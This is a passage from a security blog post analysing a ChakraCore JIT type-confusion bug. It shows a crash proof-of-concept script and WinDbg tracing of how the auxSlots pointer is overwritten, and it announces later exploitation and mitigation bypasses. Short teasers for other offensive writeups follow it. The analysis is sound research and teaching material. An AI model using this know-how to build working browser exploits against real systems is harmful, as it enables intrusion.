We can also see an array is being referenced via [rcx+rax*0x8]. We know this, as we can see in the source code an auxSlots array (which we know is an array which manages property values for a dynamic JavaScript object) is being indexed. Even if we didn’t have source code, this assembly procedure is indicative of an array index. RCX in this case would contain the base address of the array with RAX being the index into the array. Multiplying the value by the size of a 64-bit address (since we are on a 64-bit machine) allows the index to fetch a given address instead of just indexing base_address+1, base_address+2, etc.

Looking a bit earlier in the disassembly, we can see the the value in RCX, which should have been the base address of the array, comes from the value rsp+0x58.

Let’s inspect this address, under greater scrutiny.

Does this “structure prototype” look familiar? We can see a virtual function table for a DynamicObject, we see what seems to be a type pointer, and see the value of a property we provided in the poc.js script, 0x1234! Let’s cross-reference what we are seeing with what our script actually does.

First, a loop is created that will execute the opt() function 2000 times. Additionally, an object called o is created with properties a and b set (to 1 and 2, respectively). This is passed to the opt() function, along with two empty values of {}. This is done as such: opt(o, {}, {}).

    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

Secondly, the function opt() is actually executed 2000 times as opt(o, {}, {}). The below code snippet is what happens inside of the opt() function.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

Let’s start with what happens inside the opt() function.

When opt(o, {}, {}) is executed the first argument, an object o (which is created before each function call as let o = {a: 1, b: 2};) has property b set to 1 (o.b = 1;) in the first line of opt(). After this, tmp (a function in this case) has its prototype set to whatever value was provided by proto.

In JavaScript, a prototype is a built-in property that can be assigned to a function. The purpose of it, for legitimate uses, is to provide JavaScript with a way to add new properties at a later stage, to a function, which will be shared across all instances of that function. Do not worry if this sounds confusing, we just need to know a prototype is a built-in property that can be attributed to a function. The function in this case is named tmp.

As a point of contention, executing let tmp = {__proto__: proto}; is the same as executing tmp.prototype = proto.

When opt(o, {}, {}) is executed, we are providing the function with two NULL values. Since proto, which is supplied by the caller, is set to a NULL value, the prototype property of the tmp function is set to 0. When this occurs in JavaScript, the corresponding function (tmp in this case) is created without a prototype. In essence, all opt() is doing is the following:

  1. Set o’s (provided by the caller) a and b properties
  2. b is set to 1 (it was initially 2 when the o object was created via let o = {a: 1, b: 2})
  3. A function named tmp is created, and its prototype property is set to 0, which essentially means create tmp without a prototype
  4. o.a is set to the value provided by the caller through the value parameter. Since we are executing the function as opt(o, {}, {}), the o.a property will also be 0

The above code is executed 2000 times. What this does is let the JavaScript engine know that opt() has become what is known as a “hot” function. A “hot” function is one that is recognized by JavaScript as being executed constantly (in this case, 2000 times). This instructs ChakraCore to have this function go through a process called Just-In-Time compilation (JIT), where the above JavaScript is converted from interpreted code (essentially byte code) to actually compiled as machine code, such as a C .exe binary. This is done to increase performance, as this function doesn’t have to go through the interpretation process (which is beyond the scope of this blog post) every time it is executed. We will come back to this in a few moments.

After opt() is called 2000 times (this also means opt continues to be optimized for subsequent future function calls), the following happens:

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);

For continuity purposes, let’s also display opt() again.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

Taking a look at the second snippet of code (not the above opt() function, but the snippet above that which calls opt() as opt(o, o, 0x1234)), we can see it starts out by declaring an object o again. Notice that object o is declared with inlined-properties. We know this will be represented in memory as a dynamic object.

After o is instantiated as a dynamic object with inlined-properties, it is passed to the opt() function in both the o and proto parameters. Additionally, a value of 0x1234 is provided.

When the function call opt(o, o, 0x1234) occurs, the o.b property is set to 1, just like last time. However, this time we are not supplying a blank prototype property, but we are supplying the o dynamic object (with inlined-properties) as the prototype for the function tmp. This essentially sets tmp.prototype = o;, and let’s JavaScript know the prototype of the tmp function is now the dynamic object o. Additionally, the o.a property (which was previously 1 from the o object instantiation) is set to value, which is provided by us as 0x1234. Let’s talk about what this actually does.

We know that a dynamic object o was declared with inlined-properties. We also know that these types of dynamic objects are laid out in memory, as seen below.

Skipping over the prototype now, we also can see that o.a is set. o.a was a property that was present when the object was declared, and is represented in the object directly, since is was declared inline. So essentially, here is how this should look in memory.

When the object is instantiated (let o = {a: 1, b: 2}):

When o.b and o.a are updated via the opt() function (opt(o, o, 0x1234):

We can see that JavaScript just acted directly on the already inlined-values of 1 and 2 and simply just overwrote them with the values provided by opt() to update the o object. This means that when ChakraCore updates objects that are of the same type (e.g. a dynamic object with inlined-properties), it does so without needing to change the type in memory and just directly acts on the property values within the object.

Before moving on, let’s quickly recall a snippet of code from the JavaScript dynamic object analysis section.

let a = {b: 1, c: 2, d: 3, e: 4};
a.f = 5;

Here a is created with many inlined-properties, meaning 1, 2, 3, and 4 are all stored directly within the a object. However, when the new property of a.f is added after the instantiation of the object a, JavaScript will convert this object to reference data via an auxSlots array, as the layout of this object has obviously changed with the introduction of a new property which was not declared inline. We can recall how this looks below.

This process is known as a type transition, where ChakraCore/Chakra will update the layout of a dynamic object, in memory, based on factors such as a dynamic object with inlined-properties adding a new property which is not declared inline after the fact.

Now that we have been introduced to type transitions, let’s now come back to the following code in our analysis (opt() function call after the 2000 calls to opt() and o object creation)

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

We know that in the opt() function, o.a and o.b are updated as o.a = 0x1234 and o.b = 1;. We know that these properties should get updated in memory as such:

However, we didn’t talk about the let tmp = {__proto__: proto}; line.

Before, we supplied the value of tmp.prototype with a value of proto. In this case, this will perform the following:

tmp.prototype = o

This may seem very innocent at first, but this is actually where our vulnerability occurs. When a function has its prototype set (e.g. tmp.prototype = o) the object which will become the prototype (in this case, our object o, since it is assigned to tmp’s prototype property) has to first go through a type transition. This means that o will no longer be represented in memory with inlined-values and instead will be updated to use auxSlots to access properties for the object.

Before transition of o (o.b = 1 occurs before the type transition, so it is still updated inline):

After transition of o:

However, since opt() has gone through the JIT process, it has been turned into machine code. JavaScript interpreters normally perform various type checks before accessing a given property. These are known as guardrails. However, since opt() was marked as “hot”, it is now represented in memory as machine code, just how any other C/C++ binary is. The guardrails for typed checks are now gone. The reason they are gone is for a reason known as speculative JIT, where since the function was executed a great number of times (2000 in this case) the JavaScript engine can assume that this function call is only going to be called with the object types that have been seen thus far. In this case, since opt() has only see 2000 calls thus far as opt(o, {}, {}) it assumes that future calls will also only be called as such. However, on the 2001st call, after the function opt() has been compiled into machine code and lost the “guardrails”, we call the function as such opt(o, o, 0x1234).

The speculation that opt() is making is that o will always be represented in memory as an object with only inlined-properties. However, since the tmp function now has an actual prototype property (instead of a blank one of {}, which really is ignored by JavaScript and let’s the engine know tmp doesn’t have a prototype), we know this process performs a type transition on the object which is assigned as the prototype for the corresponding function (e.g. the prototype for tmp is now o. o must now undergo a type transition).

Since o now goes under a type transition, and opt() doesn’t consider that o could have gone through a type transition, a “type confusion” can, and does occur here. After o goes through a type transition, the o.a property is updated to 0x1234. The opt() function only knows that if it sees an o object, it should treat the properties as inline (e.g. set them directly in the object, right after the type pointer). So, since we set o.a to 0x1234 inside the opt() function, after it is “JIT’d”, opt() gladly write the value of 0x1234 to the first inlined-property (since o.a was the first property created, it is stored right under the type pointer). However, this has a devastating effect, because o is actually laid out in memory as having an auxSlots pointer, as we know.

So, when the o.a property is updated (opt() thinks the layout in memory is | vftable | type | o.a | o.b, when in reality it is | vftable | type | auxSlots |) opt() doesn’t know that o now stores properties via the auxSlots (which is stored at offset 0x10 within a dynamic object) and it writes 0x1234 to where it thinks it should go, and that is the first inlined-property (WHICH IS ALSO STORED AT offset 0x10 WITHIN A DYNAMIC OBJECT)!

opt() thinks it is updating o as such (because JIT speculation told the function o should always have inline properties):

However, since o is laid out in memory as a dynamic object with an auxSlots pointer, this is actually what happens:

The result of the “type confusion” is that the auxSlots pointer was corrupted with 0x1234. This is because the first inlined-property of a dynamic object is stored at the same offset in the dynamic object as another object that uses an auxSlots array. Since “no one” told opt() that o was laid out in memory as an object with an auxSlots array, it still thinks o.a is stored inline. Because of this, it writes to dynamic_object+0x10, the location where o.a used to be stored. However, since o.a is now stored in an auxSlots array, this overwrites the address of the auxSlots array with the value 0x1234.

Although this is where the vulnerability takes place, where the actual access violation takes place is in the print(o.a) statement, as seen below.

opt(o, o, 0x1234); 	// Overwrite auxSlots with the value 0x1234

print(o.a);			// Try to access o.a

The o object knows internally that it is now represented as a dynamic object that uses an auxSlots array to hold its properties, after the type transition via tmp.prototype. So, when o goes to access o.a (since the print() statement requires is) it does so via the “auxSlots” pointer. However, since the auxSlots pointer was overwritten with 0x1234, ChakraCore is attempting to dereference the memory address 0x1234 (because this is where the auxSlots pointer should be) in pursuit of o.a (since we are asking ChakraCore to retrieve said value for usage with print()).

Since ChakraCore is also open-sourced, we have access to the source code. WinDbg automatically populates the corresponding source code (which we have seen earlier). Referencing this, we can see that, in fact, ChakraCore is accessing (or attempting to) an auxSlots array.

We also know that auxSlots is a member of a dynamic object. Looking at the first parameter of the function where the access violation occurs (DynamicTypeHandler::GetSlot), we can see a variable named instance is passed in, which is of type DynamicObject. This instance is actually the address of our o object, which is also of DynamicObject. A value of index is also passed in, which is the index into the auxSlots array we want to fetch a value from. Since o.a is the first property of o, this would be at auxSlots[0]. This GetSlots function, therefore, is a function that is capable of retrieving a given property of an object which stores properties via auxSlots.

Although we know now exactly how our vulnerability works, it is still worthwhile setting some breakpoints to see the exact moment where auxSlots is corrupted. Let’s update our poc.js script with a print() debug statement.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Adding a debug print statement
    print("DEBUG");

    opt(o, o, 0x1234);

    print(o.a);
}

main();

Running the script in WinDbg, let’s first set a breakpoint on our print statement. This ensures any functions which act on a dynamic object should act on our object o.

Quickly, let’s reference the Google Project Zero original vulnerability disclosure issue here. The vulnerability description says the following:

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

We know here that InitProto is a function that will be executed, due to our setting of the tmp function’s .prototype property. As called out in the above snippet, this function internally invokes a method (function) called SetIsPrototype, which eventually is responsible to transitioning the type of the object used as the prototype for a function (in this case, it means o will be type-transitioned).

Knowing this, and knowing we want to see exactly where this type transition occurs, to confirm that this in fact is the case and ultimately how our vulnerability comes about, let’s set a breakpoint on this SetPrototype method within chakracore!Js::DynamicObject (since we are dealing with a dynamic object). Please note we are setting a breakpoint on SetPrototype instead of SetIsPrototype, as SetIsPrototype is eventually invoked within the call stack of SetPrototype. Calling SetPrototype eventually will call SetIsPrototype.

After hitting chakracore!Js::DynamicObject::SetPrototype, we can see that our o object, pre-type transition, is currently in the RDX register.

We know that we are currently executing within a function that at some point, likely as a result of an internal call within SetPrototype, will transition o from an object with inlined-properties to an object that represents its properties via auxSlots. We know that the auxSlots array is always located at offset 0x10 within a dynamic object. Since we know our object must get transitioned at some point, let’s set a hardware breakpoint to tell WinDbg to break when o+0x10 is written to at an 8 byte (1 QWORD, or 64-bit value) boundary to see exactly where the transition happens at in ChakraCore.

As we can see, WinDbg breaks within a function called chakracore!Js::DynamicTypeHandler::AdjustSlots. We can see more of this function below.

Let’s now examine the call stack to see how exactly execution arrived at this point.

Interesting! As we can see above, the InitProto function (called OP_InitProto) internally invokes a function called ChangePrototype which eventually invokes our SetPrototype function. SetPrototype, as we mentioned earlier, invokes the SetIsPrototype function referred to in the Google Project Zero issue. This function performs a chain of function calls which eventually lead execution to where we are currently, AdjustSlots.

As we also know, we have access to the source code of ChakraCore. Let’s examine where we are within the source code of AdjustSlots, where our hardware breakpoint broke.

We can see object (presumably our dynamic object o) now has an auxSlots member. This value is set by the value newAuxSlots. Where does newAuxSlots come from? Taking a look a bit further up in the previous image, we can see a value called oldInlineSlots, which is an array, is assigned to the value newAuxSlots.

This is very interesting, because as we know from our object o before the type transition, this object is one with inlined-properties! This function seems to convert an object with inlined-property values to one represented via auxSlots!

Let’s quickly recall the disassembly of AdjustSlots.

Looking above, we can see that above the currently executing instruction of mov rax, qword ptr [rsp+0F0h] is an instruction of mov qword [rax+10h], rcx. Recall that an auxSlots pointer is stored at an offset of 0x10 within a dynamic object. This instruction is very indicative that our o object is within RAX and the value at 0x10 (where o.a, the first inlined-property, was stored as the first inlined-property is always stored at dynamic_object+0x10 inside an object represented in this manner). This value is assigned the current value of RCX. Let’s examine this in the debugger.

Perfect! We can see in RCX our inlined-property values of o.a and o.b! These values are stored in a pointer, 000001229cd38200, which is the value in RCX. This is actually the address of our auxSlots array that will be assigned to our object o as a result of the type-transition! We can see this as RAX currently contains our o object, which has now been transitioned to an auxSlots variant of a dynamic object! We can confirm this by examining the auxSlots array located at o+0x10! Looking at the above image, we can see that our object was transitioned from an inlined-property represented object to one with properties held in an auxSlots array!

Let’s set one more breakpoint to confirm this 100 percent by watching the value, in memory, being updated. Let’s set a breakpoint on the mov qword [rax+10h], rcx instruction, and remove all other breakpoints (except our print() debugging breakpoint). We can easily do this by removing breakpoints and leveraging the .restart command in WinDbg to restart execution of ch.exe (please note that the below image bay be low resolution. Right click on it and open it in a new tab to view it if you have trouble seeing it).

After hitting the print() breakpoint, we can simply continue execution to our intended breakpoint by executing g.

We can see that in WinDbg, we actually break a few instructions before our intended breakpoint. This is perfectly okay, and we can set another breakpoint on the mov qword [rax+10h], rcx instruction we intend to examine.

We then can hit our next breakpoint to see the state of execution flow when the mov qword [rax+10h], rcx instruction is reached.

We then can examine RAX, our o object, before and after execution of the above instruction to see that our object is updated from an inlined-represented dynamic object to one that leverages an auxSlots array!

Examining the auxSlots array, we can see our a and b properties!

Perfect! We now know our o object is updated in memory, and its layout has changed. However, opt() isn’t aware of this type change, and will still execute the o.a = value (where value is 0x1234) instruction as though o hasn’t been type transitioned. opt() still thinks o is represented in memory as a dynamic object with inlined-properties! Since we know inlined-properties are also stored at dynamic_object+0x10, opt() will execute the o.a = value instruction as if our auxSlots array doesn’t exist (because it doesn’t know it does because the JIT-compilation process told opt() not to worry about what type o is!). This means it will directly overwrite our auxSlots pointer with a value of 0x1234! Let’s see this in action.

To do this, let’s clear all breakpoints and start a brand new, fresh instance of ch.exe in WinDbg by either leveraging .restart or just closing and opening WinDbg again. After doing so, set a breakpoint on our print() debug function, ch!WScriptJsrt::EchoCallback.

Let’s now set a breakpoint on the function we know performs the type-transition on our object, bp chakracore!Js::DynamicTypeHandler::AdjustSlots.

Let’s again examine the callstack.

Notice the memory address right before our call to OP_InitProto, which we have already examined. The address below is the address of the function which initiated a call to OP_InitProto, but we can see there is no corresponding symbol. If we perform !address on this memory address, we can also see that there is no corresponding image name or usage for this address.

What we are seeing is JIT in action. This memory address is the address of our opt() function. The reason why there are no corresponding symbols to this function, is because ChakraCore optimized this function into actual machine code. We no longer have to go through any of the ChakraCore functions/APIs used to set properties, update properties, etc. ChakraCore leveraged JIT to compile this function into machine code that can directly act on memory addresses, just like C does when you do something like below:

STRUCT_NAME a;

// Set a.Member1
a.Member1 = 0x1234;

The way this is achieved in Microsoft Edge is through a process known as out-of-process JIT compilation. The Edge “JIT server” is a separate process from the actual “renderer” or “content” process, which is the process a user interfaces with. When a function is JIT-compiled, it is injected into the content process from the JIT server (we will abuse this with an Arbitrary Code Guard (ACG) bypass in the third post. Note also that the ACG bypass we will use has since been patched as of Windows 10 RS4) after it is optimized.

Let’s now examine this function by setting a breakpoint on it (please note that the below image bay be low resolution. Right click on it and open it ina new tab to view it if you have trouble seeing it)..

Notice right off the bat we see our call to OP_InitProto, which is indicative that this is our opt() function. Additionally, see the below image. There are no JavaScript operators or ChakraCore functions being used. What we see is pure machine code, as a result of JIT.

More fatally, however, we can see that the R15 register is about to be operated on, at an offset of 0x10. This is indicative R15 holds our o object. This is because o.a = value is set after the OP_InitProto call, meaning that mov qword ptr [r15+10h], r13 is our o.a = value instruction. We also know value is 0x1234, so this is the value that should be in R13.

However, this is where our vulnerability occurs, as opt() doesn’t know o has been updated from representing properties inline to an auxSlots setup. Nor does it make an effort to perform a check on o, as this process has gone through the JIT process! The vulnerability here is that there is no type check in the JIT code, thus, a type confusion occurs.

After hitting our breakpoint, we can see that opt() still treats o as an object with properties stored inlined, and it gladly overwrites the auxSlots pointer with our user supplied value of 0x1234 via the o.a = 0x1234 instruction, because opt() still thinks o.a is located at o+0x10, as ChakraCore didn’t let opt() know otherwise, nor was there a check on the type before the operation! The type confusion reaches its pinnacle here, as an adversary can overwrite the auxSlots pointer with a controlled value!

If we clear all breakpoints and enter g in WinDbg, we can clearly see ChakraCore attempts to access o.a via print(o.a). When ChakraCore goes to fetch property o.a, it does so via auxSlots because of the type transition. However, since opt() corrupted this value, ChakraCore attempts to dereference the auxSlots spot in memory, which contains a value of 0x1234. This is obviously an invalid memory address, as ChakraCore was expecting the legitimate pointer in memory and, thus, an access violation occurs.

Conclusion

As we saw in the previous analysis, JIT compilation has performance benefits, but it also has a pretty large attack surface. So much so that Microsoft has a new mode on Edge called Super Duper Secure Mode which actually disables JIT so all mitigations can be enabled.

Thus far we have seen a full analysis on how we went from POC -> access violation and why this occurred, including configuring an environment for analysis. In part two we will convert out DOS proof-of-concept into a read/write primitive, and then an exploit by gaining code execution and also bypassing CFG within ch.exe. After gaining code execution in ch.exe, to more easily show how code execution is obtained, we will be shifting our focus to a vulnerable build of Edge, where we will also have to bypass ACG in part three. I will see you all at part two!

Peace, love, and positivity :-)

XSSGame by Google at #HITB2017AMS – Writeup

26 April 2017 at 10:19
CTF’s homepage During the last edition of HITB in Amsterdam we partecipated in the XSSGame by Google: 8 XSS challenges to win a Nexus 5X. The various levels exposed common vulnerabilities present in modern web apps. Introduction Each level required to trigger the JavaScript’s alert function by creating an URL with a Cross-Site Scripting (XSS) payload inside, which should be executed without any user interaction: once it is executed, the server replies with the link to the following challenge.

FridaLab – Writeup

4 February 2019 at 15:20
Today I solved FridaLab, a playground Android application for playing with Frida and testing your skills. The app is made of various challenges, with increasing difficulty, that will guide you through Frida’s potential. This is a writeup with solutions to the challenges in FridaLab. We suggest the reader to take a look at it and try to solve it by itself before reading further. In this writeup we will assume that the reader has a working environment with frida-server already installed on the Android device and frida-tools installed on the PC as well, since we will not cover those topics.

WebTech, identify technologies used on websites

8 March 2019 at 00:37
Introduction We’re very proud to release WebTech as open-source software. WebTech is a Python software that can identify web technologies by visiting a given website, parsing a single response file or replaying a request described in a text file. This way you can have reproducible results and minimize the requests you need to make to a target website. The RECON phase in a Penetration Test is one among the most important ones.

Nagios XI 5.5.10: XSS to #

10 April 2019 at 13:10
Tl;dr A remote attacker could trick an authenticated victim (with “autodiscovery job” creation privileges) to visit a malicious URL and obtain a remote root shell via a reflected Cross-Site Scripting (XSS), an authenticated Remote Code Execution (RCE) and a Local Privilege Escalation (LPE). Introduction A few months ago I read about some Nagios XI vulnerabilities which got me interested in studying it a bit by myself. For those of you who don’t know what Nagios XI is I suggest you have a look at their website.

Exploiting Apache Solr through OpenCMS

13 April 2019 at 09:19
Tl;dr It’s possible to exploit a known Apache Solr vulnerability through OpenCMS. Introduction meme During one of my last Penetration Test I was asked to analyze some OpenCMS instances. Before the assessment I wasn’t really familiar with OpenCMS, so I spent some time on the official documentation in order to understand how it works, which is the default configuration and if there are some security-related configurations which I should check during the test.
❌
❌